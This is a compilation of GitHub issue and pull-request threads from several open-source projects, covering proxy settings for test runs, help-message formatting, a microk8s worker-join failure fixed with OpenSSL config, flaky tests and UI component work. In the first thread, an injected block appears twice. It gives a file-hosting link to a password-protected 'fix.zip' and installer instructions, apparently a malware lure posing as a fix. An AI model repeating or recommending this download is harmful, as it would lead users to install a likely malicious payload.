text:
Configure mlflow UATs to run behind a proxy

Context
When running the MLflow UATs from inside a Notebook, we need to be able to run the UATs behind proxy.
What needs to get done
Based on the exploration done in canonical/bundle-kubeflow#76 :

Add a PodDefault that defines the proxy env vars to the repo
Add labels to the workload containers in each test to match the PodDefault
Add instructions in the README.md on how to run behind proxy from inside a Notebook

Definition of Done
UATs can be run behind proxy from inside a Notebook

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."

authors: DnPlas paozhuanis1 pngjian

repo: canonical/charmed-kubeflow-uats


text:
Properly wrapping help messages

hypervisor subcommand and --verbose option didn't have their help message correctly wrapped, making them hard to read in terminal. This patch addresses them.
fixes: #303

message

The first line is strange, is that bug or some issue during copy and paste? There is
^(help-message+176) 10:47:56
Usage: cou plan hypervisors [options]

Also can we make the help even shorter?  The longest line is 124 characters.

@rgildein ^(help-message+176) 10:47:56  came from my shell setting (FISH). Updated it.
And sure, I can further tidy up the help messages

Output from the latest update of this patch ("before" output can be found in #303):
$ cou plan hypervisors -h
Usage: cou plan hypervisors [options]

Show the steps for upgrading nova-compute machines.
This is possible only if control-plane has been fully upgraded,
otherwise an error will be thrown.

Note that only principal applications colocated with nova-compute units
that support action-managed upgrades are within the scope of this command.
Other principal applications (e.g. ceph-osd) and subordinates
can be upgraded via the data-plane subcommand.

Options:
  -h, --help            Show this help message and exit.
  --model MODEL_NAME    Set the model to operate on.
                        If not set, the currently active Juju model will be used.
  --backup, --no-backup
                        Include database backup step before cloud upgrade.
                        Default to enabling database backup.
  --force               Force the plan/upgrade of non-empty hypervisors.
  --verbose, -v         Increase logging verbosity in STDOUT.
                        Multiple 'v's yield progressively more detail (up to 4).
                        Note that by default the logfile will include standard logs
                        from juju and websockets, as well as debug logs from all other
                        modules. To also include the debug level logs from juju and
                        websockets modules, use the maximum verbosity.
  --quiet, -q           Disable output in STDOUT.
  --machine MACHINES, -m MACHINES
                        Specify machine id(s) to upgrade.
                        This option accepts a single machine id as well as a stringified
                        comma-separated list of ids, and can be repeated multiple times.
  --availability-zone AVAILABILITY_ZONES, --az AVAILABILITY_ZONES
                        Specify availability zone(s) to upgrade.
                        This option accepts a single availability zone as well as a
                        stringified comma-separated list of AZs, and can be repeated
                        multiple times.

source: gharchive/pull-request

authors: agileshaw rgildein

repo: canonical/charmed-openstack-upgrader

license_type: permissive

license_source: github-api


text:
Cannot connect worker node to master

Summary
I have single-node microk8s instance.
Status on it:

microk8s is running
high-availability: no
datastore master nodes: 10.10.20.20:19001
datastore standby nodes: none
addons:
enabled:
dashboard            # (core) The Kubernetes dashboard
dns                  # (core) CoreDNS
ha-cluster           # (core) Configure high availability on the current node
helm3                # (core) Helm 3 - Kubernetes package manager
ingress              # (core) Ingress controller for external access
metrics-server       # (core) K8s Metrics Server for API access to service metrics
rbac                 # (core) Role-Based Access Control for authorisation
disabled:
....

Firewall disabled.
Also i installed new worker node with:

microk8s is running
high-availability: no
datastore master nodes: 127.0.0.1:19001
datastore standby nodes: none
addons:
enabled:
dns                  # (core) CoreDNS
ha-cluster           # (core) Configure high availability on the current node
helm3                # (core) Helm 3 - Kubernetes package manager
rbac                 # (core) Role-Based Access Control for authorisation
disabled:
....

When i make microk8s join 10.10.20.20:25000/<redacted> --worker command on worker node i got:

Contacting cluster at 10.10.20.20
Traceback (most recent call last):
File "/snap/microk8s/4175/scripts/cluster/join.py", line 993, in
join(prog_name="microk8s join")
File "/snap/microk8s/4175/usr/lib/python3/dist-packages/click/core.py", line 722, in call
return self.main(*args, **kwargs)
File "/snap/microk8s/4175/usr/lib/python3/dist-packages/click/core.py", line 697, in main
rv = self.invoke(ctx)
File "/snap/microk8s/4175/usr/lib/python3/dist-packages/click/core.py", line 895, in invoke
return ctx.invoke(self.callback, **ctx.params)
File "/snap/microk8s/4175/usr/lib/python3/dist-packages/click/core.py", line 535, in invoke
return callback(*args, **kwargs)
File "/snap/microk8s/4175/scripts/cluster/join.py", line 986, in join
join_dqlite(connection_parts, verify, worker)
File "/snap/microk8s/4175/scripts/cluster/join.py", line 762, in join_dqlite
join_dqlite_worker_node(info, master_ip, master_port, token)
File "/snap/microk8s/4175/scripts/cluster/join.py", line 846, in join_dqlite_worker_node
update_cert_auth_kubeproxy(token, info["ca"], master_ip, master_port, hostname_override)
File "/snap/microk8s/4175/scripts/cluster/join.py", line 423, in update_cert_auth_kubeproxy
cert = get_client_cert(master_ip, master_port, "kube-proxy", proxy_token, "system:kube-proxy")
File "/snap/microk8s/4175/scripts/cluster/join.py", line 277, in get_client_cert
subprocess.check_call(cmd_cert.split(), stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
File "/snap/microk8s/4175/usr/lib/python3.6/subprocess.py", line 311, in check_call
raise CalledProcessError(retcode, cmd)
subprocess.CalledProcessError: Command '['/snap/microk8s/4175/usr/bin/openssl', 'req', '-new', '-sha256', '-key', '/var/snap/microk8s/current/certs/kube-proxy.key', '-out', '/var/snap/microk8s/current/certs/kube-proxy.csr', '-subj', '/CN=system:kube-proxy']' returned non-zero exit status 1.

In journal on master node i see:
microk8s.daemon-cluster-agent[189902]: 2022/12/05 07:50:37 POST 200 "/cluster/api/v2.0/join" 2112 bytes in 833.686178ms
Both servers - Centos7 with OpenSSL 1.0.2k-fips
How i can connect my worker node to master node? Please, help.

Hi, it appears that the openssl commands that generate kube-proxy (and most likely the second one for kubelet) fail, and I would assume that OpenSSL 1.0.2k-fips is closely related to this.
Can you please include more details by spawning a shell inside the snap environment and running the command manually? I.e.:
sudo snap run --shell microk8s

# inside the new shell, run the openssl command directly
 /snap/microk8s/current/usr/bin/openssl req -new -sha256 -key /var/snap/microk8s/current/certs/kube-proxy.key -out /var/snap/microk8s/current/certs/kube-proxy.csr -subj /CN=system:kube-proxy

The openssl command should fail, but ideally stderr will contain some useful bits to keep debugging things.

Hi! Thanks, @neoaggelos for reply!
Command output is:

Can't open /usr/lib/ssl/openssl.cnf for reading, No such file or directory
139971289392128:error:02001002:system library:fopen:No such file or directory:../crypto/bio/bss_file.c:72:fopen('/usr/lib/ssl/openssl.cnf','r')
139971289392128:error:2006D080:BIO routines:BIO_new_file:no such file:../crypto/bio/bss_file.c:79:
unable to find 'distinguished_name' in config
problems making Certificate Request
139971289392128:error:0E06D06A:configuration file routines:NCONF_get_string:no conf or environment variable:../crypto/conf/conf_lib.c:270:

OK, I think /usr/lib/ss/openssl.cnf missing is some progress on the issue.
Do you know how to locate the default openssl.cnf file on your system? On a deb-based system, that would be dpkg -S openssl.cnf, not sure what's the command for yum/dnf.
On a related-note, can you also check whether the following helps?
sudo snap run --shell microk8s

export OPENSSL_CONF=$SNAP/usr/lib/ssl/openssl.cnf
/snap/microk8s/current/usr/bin/openssl req -new -sha256 -key /var/snap/microk8s/current/certs/kube-proxy.key -out /var/snap/microk8s/current/certs/kube-proxy.csr -subj /CN=system:kube-proxy

@neoaggelos , i searched for default and found it only in /etc/pki/tls/openssl.cnf (except /var/lib/snap/ directories, there are several dirs with openssl.cnf)
Tried with your suggestion - no luck, even with export OPENSSL_CONF=/etc/pki/tls/openssl.cnf.
The error is:
Can't load /root/.rnd into RNG 140480045253632:error:2406F079:random number generator:RAND_load_file:Cannot open file:../crypto/rand/randfile.c:88:Filename=/root/.rnd

Figured out, I had to execute the command openssl rand -out .rnd 16 then i used Your, @neoaggelos , suggestion with my path to openssl.cnf. After that worker node successfully connected to master.
HUGE thanks for Your support!

source: gharchive/issue

authors: MonkzCode neoaggelos


text:
Remove unstable tags from self healing integration tests

Issue

All of our self-healing tests are marked as unstable -> most of them are indeed consistently passing
When an interface is attached to an lxd container and its IP address changes, juju takes a really long time to detect the ip address change. Our helpers utilize juju machines to retrieve IP addresses of machines
Some self-healing tests have a very short timeout to see status changes (5 minutes)

Solution

Mark all self-healing tests as stable
Use the default gateway entry of ip route on lxd containers to determine their IP addresses (instead of juju machines)
Lengthen the timeouts for the self-healing tests

I've run the tests multiple times (at least 3-4 times across multiple commits) and the self healing tests passed. If tests pass for 5c16c85, I am going to go ahead and merge (as it is better to have these tests enabled than not)

repo: canonical/mysql-operator


text:
test-branch/execute-job/wrong-commit-sha-on-pr/46253494-246c-4ab0-8ed6-9463493e1f70

PR for testing da9ca2528c55093999075fedb087db5644c76a3a

/canonical/self-hosted-runners/run-workflows e5da1ca9c5012b709e07d4eb2c9829a0266e7dde

repo: canonical/repo-policy-compliance


text:
test-branch/execute-job/quoted-authorization/f01c69dc-9466-450c-8da8-efce384407b2

PR for testing 51b466e909e6101547f955a6c7d3c45fc92e3981

/canonical/self-hosted-runners/run-workflows 51b466e909e6101547f955a6c7d3c45fc92e3981


text:
fast producer and slow consumer. How to implement a kind of a buffer?

So, I have a code bellow to model the issue:
const H = require('highland');
const Promise = require('bluebird');

let i = 0
const stream = H(function(push, next) {
  console.log('read', i)
  push(null, i)
  i++;
  Promise.delay(100).then(() => next())
})

stream
  .flatMap(function(x) {
    console.log('start writing', x)
    return H(Promise.delay(2000, 'y').tap(() => console.log('finish writing', x)))
  })
  .done()

which produces output like this:
read 0
start writing 0
finish writing 0
read 1
start writing 1

the problem: I want to have a buffer of some size where I will stack the data from producer. So, with the buffer of size 1, output should look like:
read 0
start writing 0
read 1
finish writing 0
start writing 1
read 2

is it possible to do such thing with highland?

so, I want to buffer value from producer if the "producer" is busy

it isn't related to Highland.js at all. If somebody interesting in solution, I can publish it but on the moment I'm closing the issue

repo: caolan/highland


text:
Update validation.php

##What
Fixed a typo (actual a language rule error) in the Dutch translations.
Why
Because it's against the Dutch language rules to have spaces in compound words. The rules are explained at http://www.spatiegebruik.nl/regels.html :)

Danke

:+1:

authors: caouecs eXistenZNL

repo: caouecs/Laravel-lang

license: MIT


text:
add client provider

 that can put the client into react's context

fixed in https://github.com/capaj/use-graphql-request/commit/36489520892698ba9feecd030f68f0d2581e6daa

repo: capaj/use-graphql-request


text:
Not able to get Application Name on deploy widget.

I configured three jobs with Dev, QA, Preprod which only do the job of fetching the repo from github and i have also defined everything (via Hygieia publisher) to get deploy results and i am getting it,

The console output is -
Hygieia: Published Build Complete Data. Response Code: 201. Response Value= 5a1514c80db7b70625e306ec Hygieia Deployment Publisher - Looking for file pattern 'tslint.json' in directory /var/lib/jenkins/workspace/rohit-dev Hygieia Deployment Publisher: Processing  file: /var/lib/jenkins/workspace/rohit-dev/tslint.json Hygieia: Published Deploy Data: Response Code: 201. Response Value= "5a1514cc0db7b70625e306ee" Finished: SUCCESS
and Dashboard output is-

But when i try to implement the same thing on another job with different Application Name which is building & deploying, then i am not getting the Application Name in the deploy dropdown. Below is te configuration -

Console output also shows less output that above test job -
04:45:16 Hygieia: Published Build Complete Data. Response Code: 201. Response Value= 5a14addf0db7b70625e306ea 04:45:16 Hygieia Deployment Publisher - Looking for file pattern 'tslint.json' in directory /var/lib/jenkins/workspace/C2C-Digital-UI-Hertz-DEV 04:45:17 Finished: SUCCESS

@rohit0503 I was looking at the code base, and the API that seems to be called that populates applications is: "/collector/item/type/{collectorType}". Looking further, that API seems to be checking for a collector of type "Deployment" in the database, and using its collectorID to fetch data.
Have you run the UDeploy or the XLDeploy collector at all before doing whatever you are doing now?

@rohit0503 : Since we didn't hear back from you, assuming this is resolved at your end, and so closing this issue. Thanks

repo: capitalone/Hygieia


text:
Angular/UI-Bootstrap Update to latest

Updated Angular version to latest stable release of Angular (1.5.9), as well as updated version of UI-Bootstrap (2.3.0).
Most of the changes that had to be made outside of the version changes revolved around Angular Bootstrap, and Angular Cookies. The bootstrap dependency started prefixing their modules with "uib", which accounts for a significant portion of the changes. Angular changed their cookie api to use "getters" and "puts" instead of accessing the variables directly.

team is building new features on the new angular version.

@rob-miller-777 please resolve merge conflicts.
@amitmawkin @tabladrum any thoughts on this request? gets Hygieia to the latest 1.5.* stable release of angular.

Yes. We are on board. Taking longer to get to review and test due to holidays.

Figured as much, thanks @tabladrum ! happy holidays!

LGTM

@rob-miller-777 this PR broke our Travis build
17:17:46.088 [main] DEBUG o.s.b.f.s.DisposableBeanAdapter - Invoking destroy() on bean with name 'mongoDbFactory'
17:17:46.088 [main] DEBUG o.s.b.f.s.DisposableBeanAdapter - Invoking destroy method 'close' on bean with name 'mongo'
Tests run: 8, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 0.669 sec - in com.capitalone.dashboard.repository.ScopeOwnerRepositoryTest
Running com.capitalone.dashboard.MarkdownTest
Tests run: 2, Failures: 0, Errors: 0, Skipped: 1, Time elapsed: 0.004 sec - in com.capitalone.dashboard.MarkdownTest
Running com.capitalone.dashboard.util.EncryptionTests
Tests run: 12, Failures: 1, Errors: 0, Skipped: 0, Time elapsed: 0.172 sec <<< FAILURE! - in com.capitalone.dashboard.util.EncryptionTests
testDecryptionWithBadKey(com.capitalone.dashboard.util.EncryptionTests)  Time elapsed: 0.014 sec  <<< FAILURE!
java.lang.AssertionError: Expected exception: com.capitalone.dashboard.util.EncryptionException
	at org.junit.internal.runners.statements.ExpectException.evaluate(ExpectException.java:32)
	at org.junit.runners.ParentRunner.runLeaf(ParentRunner.java:271)
	at org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:70)
	at org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:50)
	at org.junit.runners.ParentRunner$3.run(ParentRunner.java:238)
	at org.junit.runners.ParentRunner$1.schedule(ParentRunner.java:63)
	at org.junit.runners.ParentRunner.runChildren(ParentRunner.java:236)
	at org.junit.runners.ParentRunner.access$000(ParentRunner.java:53)
	at org.junit.runners.ParentRunner$2.evaluate(ParentRunner.java:229)
	at org.junit.runners.ParentRunner.run(ParentRunner.java:309)
	at org.apache.maven.surefire.junit4.JUnit4Provider.execute(JUnit4Provider.java:264)
	at org.apache.maven.surefire.junit4.JUnit4Provider.executeTestSet(JUnit4Provider.java:153)
	at org.apache.maven.surefire.junit4.JUnit4Provider.invoke(JUnit4Provider.java:124)
	at org.apache.maven.surefire.booter.ForkedBooter.invokeProviderInSameClassLoader(ForkedBooter.java:200)
	at org.apache.maven.surefire.booter.ForkedBooter.runSuitesInProcess(ForkedBooter.java:153)
	at org.apache.maven.surefire.booter.ForkedBooter.main(ForkedBooter.java:103)

Running com.capitalone.dashboard.util.GitBranchSpecTest
Tests run: 7, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 0.003 sec - in com.capitalone.dashboard.util.GitBranchSpecTest
Running com.capitalone.dashboard.model.DashboardTest
Tests run: 2, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 0.001 sec - in com.capitalone.dashboard.model.DashboardTest```

@amitmawkin taking a look.

@amitmawkin would you be able to manually trigger another build? i can't replicate the failure and it is occurring in a module that wasn't altered as part of this pull request.
i seem to recall seeing an issue with this test in another pull request previously?

@mdskd  let me trigger one

thanks @amitmawkin, looks good. i am pretty certain i've seen that test fail before, perhaps it warrants an issue to see if anything can be done to address the flakiness?

LGTM

@rob-miller-777 @mdskd @Bradmoon After merging this, I am seeing on my local machine that the searchable dropdown boxes are not working. For example, the build widget dropdown with a large dataset doesn't work. But it works when I revert this PR locally. Are you seeing the same behavior ?

@satishc1 we will investigate this today/tomorrow.

@mdskd Thanks Matt.  As an fyi, I also tried locally building the code with PR 1049 on top off the latest master (which has PR 1027). But the effect was the same... the build widget with a large dataset was unresponsive.

still investigating @satishc1

@mdskd Thanks Matt. If you are able to recreate the issue and feel it will take long to resolve this, please let me know and we can revert the PR. Thanks for your help on this.

@satishc1 definitely experiencing the same
on master with ~10,000 jenkins jobs, the ui-select basically crashes the browser. reverting the merge, with the same list of jenkins jobs, the ui-select responds (albeit slowly)
finding root cause is going to be a bit time-consuming. let's revert for now and we'll dig into the issue. our additional 2 PRs that are closely related (pagination on the API and client) resolve the performance concerns, but as we discuss it more it feels as tho it is just masking the underlying problem.
sincere apologies for the inconvenience

this appear to be a related issue

@mdskd Not a problem. Thank you for researching it. Will revert the PR for now.

we should have some direction on how we intend to address this early next week. i'd like to discuss it with our team before making a decision. folks should all be back on Tuesday.
thanks!

it looks like we are going to combine this PR with the client-side pagination PR we've also got queued up. paging alleviates the performance concerns, additionally a different directive is utilized in that pull request.
we'll get this opened as soon as we can this week.
note: it is dependent upon this PR
thanks!

@mdskd @nireeshT Thanks Matt. We'll take a look at https://github.com/capitalone/Hygieia/pull/1049

authors: Bradmoon amitmawkin mdskd mrpudn rob-miller-777 satishc1 tabladrum


text:
Docker support for Hygieia

A simple setup to run Hygieia in a Docker container

@tyrion70 for UI setup, instead of using 'gulp serve' can you change it to use apache server ?

Gave a try by running createdocker script. The build went well but it failed when it tried docker rm hygieia.
Step 39 : CMD /usr/bin/supervisord -n
 ---> Running in 742586701a53
 ---> e970f0d0a90b
Removing intermediate container 742586701a53
Successfully built e970f0d0a90b
Error response from daemon: no such id: hygieia
FATA[0000] Error: failed to remove one or more containers

Hmm that kinda makes sense. The first time u run it there is nog container yet. I'll fix that tonight thanks

Updated the createdocker script so it won't give an error the first time (it did start the container eventually right @srid99).
Also added Apache support, please anyone take a good look at what I did, I'm not sure if I have the document root completely correct. Its currently set to the /UI/dist folder now. I tried the src folder, but then it needed a symlink to include bower_components and it was missing css.
A Reverse proxy for /api was added to the apache configuration as well.

@tyrion70 Correct. It had error but the build was success and the container was running.
For the Apache support, what you did is correct. dist folder and the reverse proxy should do the job.

@tyrion70: can you submit the CLA? Thanks

already did yesterday :) u didn't get it?

So in looking at this vs. pull #115 - to be honest i'd like to see something in the middle.. This pull has jenkins,sonar, etc all in the same container and lacks configurability.  The other pull has them separated out but lacks the collectors.. So I'm thinking about merging the best of both of them into a branch and then once it's solidified a bit merge it back to master.  Sound fair?

Hey!
It's actually its different containers. One container is for the complete Hygieia solution including mongodb and apache. It also allows you to start other containers for sonar and jenkins (and mysql) using compose.
Nevertheless there are some nice things in the other PR as well so feel free to solidify and merge it together :)
What do you mean by lack of configurability by the way? All config files needed are in the docker folder and can be modified before building the container.
Let me know if you need any help merging or have any questions about what I did..

I've started down the path of dockerizing some of the collectors, will add those as separate pulls

closed by pull #129


text:
Fix sprintIndicator check

Fix sprintIndicator check for versionone.

Lgtm

Lgtm

authors: amitmawkin satishc1 tabladrum


text:
fix demo import paths

added src/ subfolder to the demo import paths, didn't seem to work without those.

Hi.  Thanks for the PR.  I have fixed the problem and fixed package.json as well.

authors: captain-igloo gherkins

repo: captain-igloo/react-xml-editor


text:
[Table] Create coherent table stories

What package is this for?

[x] React
[ ] Angular

Summary
Most of the stories have been built incrementally and combined over time which makes both the individual stories and the "book" itself incoherent. We lack a clear goal and plan for how the stories of this complex component should evolve. There is also no direct link from the story to the parts of the documentation covering the functionality displayed.
Additional context
We should take a hard look at each story and ask if the purpose of the story is clear and if the name matches that purpose.  The two story categories "Table" and "StatefulTable" don't make sense when looking at the stories inside and considering the fact that almost all stories in both categories have a knob to change the table type.
I think each story, except for the main playground, should tell a coherent story around some settings and data. A combination of settings that was turned into a story in order to fix a bug or prevent regression should be moved to unit/e2e testing instead. The documentation sections could be a good starting point when deciding which stories we should focus on. It would be nice to have some kind of taxonomy to help us in writing and maintaining the stories. Per story type we set some requirements and that could be useful for other components as well. I've thought of the following:
A. MAIN PLAYGROUND
Story is the main playground with as many knobs as possible to cover the largest amount of functionality. The documentation should show the full table documentation.
B. FUNCTIONALITY CONFIGURATION
The most common. Story shows a for the consumer relevant and coherent combination of properties and data. A story could be about showing "how row expansion works" and all the different variants and combinations using knobs, or a story showing "pagination" with all relevant configuration in knobs. We might have to write more than one story to tell the full tale of some complicated functionality but we can group them like carbon does in their table stories. Clicking the docs should open the relevant section.
C. EXTERNAL FUNCTIONALITY COMBINATION
Story code itself has custom code/components showing how to extend the table to get a certain functionality in place, e.g. the "create and save view management" functionality that partly resides outside the table. For these stories we might need custom documentation.
D. FOCUSED PLAYGROUND
Story is a playground to highlight special scenario, limitation or workaround that require interactions outside the table, e.g. 1-watson-iot-table-statefultable--with-pre-filled-search or 1-watson-iot-table-table--with-options-to-explore-column-settings. The scenario must be of interest to the common consumer if we are going to export the story, otherwise we might wanna restrict it to the dev environment.
Specific timeline issues / requests
The work can be divided into several issues, one per story/story group, and old stories can be removed once they are covered by the new ones. That way this can be turned into an epic instead of a single giant issue.
NB: The core contributors will try to work with your timeline, but it's not
guaranteed. The earlier you make a request in advance of a desired delivery
date, the better!
Available extra resources
What resources do you have to assist this effort?
Carbon add-ons for Watson IoT is a collaborative system. We encourage teams to
build components and submit them for integration.

This epic has been completed.

authors: bjornalm davidicus


text:
3025 list add allowed drop target

Closes #3025
Summary
Adds the option to limit which rows can act as drop targets  using a callback getAllowedDropIds that receives the id of the item about to be dragged and should return an array of ids of the rows that are allowed as drop targets. I decided on using  a callback like this because providing some kind of map of AllowedDropIds up front would be too costly and using the existing itemWillMove wouldn't work since it was called after the drop targets were rendered.
Change List (commits, features, bugs, etc)

Added prop getAllowedDropIds from component ListItemWrapper all the way up to the List and HierarchyList.
Memoized getAllowedDropIds in the ListComponent to prevent a possibly expensive function to be executed for each row.
Refactored some poorly written dnd code
Created new stories for List and HierarchyList in order to have meaningful examples
Added new unit tests
Added new e2e tests
Updated docs

Acceptance Test (how to verify the PR)

Go to https://deploy-preview-3039--carbon-addons-iot-react.netlify.app?path=/story/1-watson-iot-hierarchylist--with-nested-reordering-restricted

Make sure players can only be reordered within their team and not dropped in other teams

Make sure teams can only be reordered among other teams and not dropped in other teams

Enable knob hasVirtualList and repeat tests

Go to https://deploy-preview-3039--carbon-addons-iot-react.netlify.app?path=/story/1-watson-iot-list--with-reorder-and-drop-target-restrictions

Make sure drops are only allowed on rows defined in knob getAllowedDropIds return value

Enable knob hasVirtualList and repeat tests

Regression Test (how to make sure this PR doesn't break old functionality)

Make sure all other stories for List and HierarchyList works as before

Things to look for during review

[ ] Make sure all references to iot or bx class prefix is using the prefix variable
[ ] (React) All major areas have a data-testid attribute. New test ids should have test written to ensure they are not changed or removed.
[ ] UI should be checked in RTL mode to ensure the proper handling of layout and text.
[ ] All strings should be translatable.
[ ] The code should pass a11y scans (The storybook a11y knob should show no violations). New components should have a11y test written.
[ ] Unit test should be written and should have a coverage of 90% or higher in all areas.
[ ] All components should be passing visual regression test. For new styles or components either a visual regression test should be written for all permutations or the base image updated.
[ ] Changes or new components should either write new or update existing documentation.
[ ] PR should link and close out an existing issue

Code looks great! But i did find one issue we'll want to address re: dragging parents into other parents.

Good catch, I've updated the story to prevent nesting using the itemWillMove.


text:
Docs  image and tabs extended paredown

Related Ticket(s)
#1125
Description
Updates to Images page and nav title, animated gif, and "Resources" header on each component page. Includes missed updates to links to Carbon design system URLs.
Changelog
New

Updated Image with caption animation

Changed

Image page -> Images page.
Image nav -> Images nav.
Component pages with only one component have Resources as an H2.
Updated Overview language on Images.

Removed

old version of animation gif.
H2/3 in Ari's ResourceLinks file

Just 1 small fix:
In Tabs extended > Overview

The tab labels may wrap up to two lines when truncated.

How about "The tab labels may wrap up to two lines before it gets truncated. Truncated labels are displayed in tooltips on hover and focus."
Otherwise this looks great!

authors: RichKummer shixiedesign


text:
[FeatureCardBlockMedium] icon does not get updated correctly

Hello all, here is my code: :
https://github.com/Claire-ibm-toulouse/ois
and the page in staging:
https://wwwstage.ibm.com/strategic-partnerships/fr-fr/ois/
On the last component "ContentBlockMedia", I am using the "feature" design, and trying to call the appropriate icon called Launch20, but it keeps calling the "ArrowRight20" that was initially in the template.
This is a minor bug but it gives me a compliance issue. Please help, thanks.

Also, do you happen to know why the background color of my "feature" card is dark grey when I deploy it (see above), instead of light grey when I run the code locally (see below)?

Kenny to respond as part of fireline.  May not be a bug.  Needs investigation.

Hello all, unfortunately the bug remains on my side. My code is in GitHub. Please help thanks.
Claire Lebastard
OFF on fridays
Risk & Compliance -  SE&TS (Sales Execution and Transaction Support)
IBM CIO  - Finance and Operations
+33 (0)562181617 – Toulouse - France
From: RobertaJHahn @.>
Reply to: carbon-design-system/carbon-for-ibm-dotcom @.>
Date: Tuesday 16 March 2021 at 19:08
To: carbon-design-system/carbon-for-ibm-dotcom @.>
Cc: Claire Lebastard @.>, Author @.***>
Subject: [EXTERNAL] Re: [carbon-design-system/carbon-for-ibm-dotcom] [FeatureCardBlockMedium] icon does not get updated correctly (#5493)
Kenny to respond as part of fireline. May not be a bug. Needs investigation. — You are receiving this because you authored the thread. Reply to this email directly, view it on GitHub, or unsubscribe.
Kenny to respond as part of fireline. May not be a bug. Needs investigation.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHubhttps://urldefense.proofpoint.com/v2/url?u=https-3A__github.com_carbon-2Ddesign-2Dsystem_carbon-2Dfor-2Dibm-2Ddotcom_issues_5493-23issuecomment-2D800491219&d=DwMCaQ&c=jf_iaSHvJObTbx-siA1ZOg&r=-spDyz9Sfeiv3FKklPWlpxc32bxCfJqvuA2bLG0eZ5E&m=4PqUOIsVWyr5zkVWBaoWSaCGtziU59a60NfS7bK7v2M&s=VUTVztBGbwEm1IGcniUrKFaC66iYGixCganop9O4wP0&e=, or unsubscribehttps://urldefense.proofpoint.com/v2/url?u=https-3A__github.com_notifications_unsubscribe-2Dauth_AR357KF4UL3KVGQ2EFSJ43DTD6NC5ANCNFSM4ZG3RNLA&d=DwMCaQ&c=jf_iaSHvJObTbx-siA1ZOg&r=-spDyz9Sfeiv3FKklPWlpxc32bxCfJqvuA2bLG0eZ5E&m=4PqUOIsVWyr5zkVWBaoWSaCGtziU59a60NfS7bK7v2M&s=aeK1w7m4N0AdLBQWY_2niWmKLX-U5g1tTy38-VTbFZQ&e=.

As per Kenny Lam's recommendation I used the FeatureCardBlockMedium component instead and I was able to use the proper icon there, tks !

authors: Claire-ibm-toulouse RobertaJHahn


text:
feat(cloud-masthead): adjust "Contact us" button visibility

Related Ticket(s)
https://jsw.ibm.com/browse/HC-1810
Description
This diff adds a new attribute to the cloud-masthead-composite component that controls the visibility of the Contact us button. Additionally, updated the Storybook story to include a toggle so this can be seen in action.

Changelog
New

n/a

Changed

cloud-masthead-composite.ts
cloud-masthead.stories.ts

Removed

n/a

Had a discussion with @proeung and I understand what this PR does now. Good to go through our regular code review process and no need for design review. Thanks!

@huntermacd Thanks for addressing my feedback and let's make sure the branch is up to date with the base branch.
@annawen1 This PR is ready for a code review.

I think we discussed removing Contact us on mobile due to screen real estate and because the lets talk icon will be in close proximity.

@ltitle Thanks for the confirmation! I think this PR is good for merging then!

authors: huntermacd ltitle proeung shixiedesign


text:
Remove extra padding from export modal

From the export modal migration review —
Export modal includes an extra 24px margin at the bottom of the modal not in v1 or in the Figma files.

Note: Issues with the https://github.com/carbon-design-system/ibm-cloud-cognitive/labels/v2 label should be cut from the carbon-v11 branch (until our branch renames occur — see #2884 plans).

@elycheea
Please assign it to me.

@mgallo25 will be looking into this issue. 🎉


text:
Build with GHC 9.2.8.

Summary
This PR adjusts our nix configuration to build with GHC version 9.2.8 by default.
Related Issues

https://github.com/cardano-foundation/cardano-wallet/pull/4172
https://github.com/cardano-foundation/cardano-wallet/pull/4173
https://github.com/cardano-foundation/cardano-wallet/pull/4181

Closing in favor of https://github.com/cardano-foundation/cardano-wallet/pull/4396 .

authors: HeinrichApfelmus jonathanknowles

repo: cardano-foundation/cardano-wallet


text:
Update showcases.js

Showcase addition

Name: Cardania
Description: Cardania is a scifi fantasy metaverse gaming ecosystem project being built on the Cardano blockchain. Welcome to the most rad destination in the metaverse.
Link:  https://www.cardania.com
Source: <link_to_source_code>
Tags:

game
nft

ooo that is a problem.  I'm sorry about that, let me fix that

Updated!

@jonathanfishbein1 looks good, but is this live or a preview? It doesn't look like anything can be done.

The development is iterative but already has network connectivity - We most recently ran a very popular NFT sale utilizing our website for the front end and NFT Maker Pro for the backend. Delegators are also able to stake to SUMN directly from the site. Users will see a lot more game interaction in the coming months which we're very excited for.

Thank you for your contribution and for building on Cardano. This PR has been open for quite a while and I would like to give you a little feedback. Projects need 3 reviewer approvals and it seems the project didn't get enough "traction" among the reviewers.
Please note that showcase projects need to provide a unique value from existing showcase items - which is especially difficult with many tokens and FT/NFT or FT/NFT platforms. Feel free to join the discussion here: #243 (or in case you prefer to discuss this not in GitHub please join https://discord.gg/Exe6XmqKDx)
Suggestion: you can add your project to https://github.com/input-output-hk/essential-cardano

repo: cardano-foundation/developer-portal


text:
Navigating to module with re-export creates unexpected behaviour

The issue here that when click on string pill it will go to string module (re-export) but when I navigate to card-api independently and click on string pill again I will navgiate to card-api -- which is unexpected

Hmmm experiencing some errors

@ef4 and I discussed on pairing and we should resolve to the innermost module definition (not the re-export)

repo: cardstack/boxel


text:
Doc: What Regex "engine" is used

Document the Regex "engine" that is used.  Otherwise it is hard to know what regex is acceptable without (painfully) iterating.
Example, are these all supported:

^(([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\-]*[a-zA-Z0-9])\.)*([A-Za-z0-9]|[A-Za-z0-9][A-Za-z0-9\-]*[A-Za-z0-9])$
^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$|^(([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\-]*[a-zA-Z0-9])\.)+([A-Za-z]|[A-Za-z][A-Za-z0-9\-]*[A-Za-z0-9])$

It would be doubly helpful to point to a regex test site that supports the regex engine used by cargo-generate, such as https://regexr.com/

in cargo-generate we depend on the regex crate, there is great documentation about their support.
It might be worth to link their docs somewhere in our docs, good idea.

Per this comment - we don't have bandwidth to help flesh out any additional functionality in this issue.

authors: sassman taqtiqa-mark

repo: cargo-generate/cargo-generate


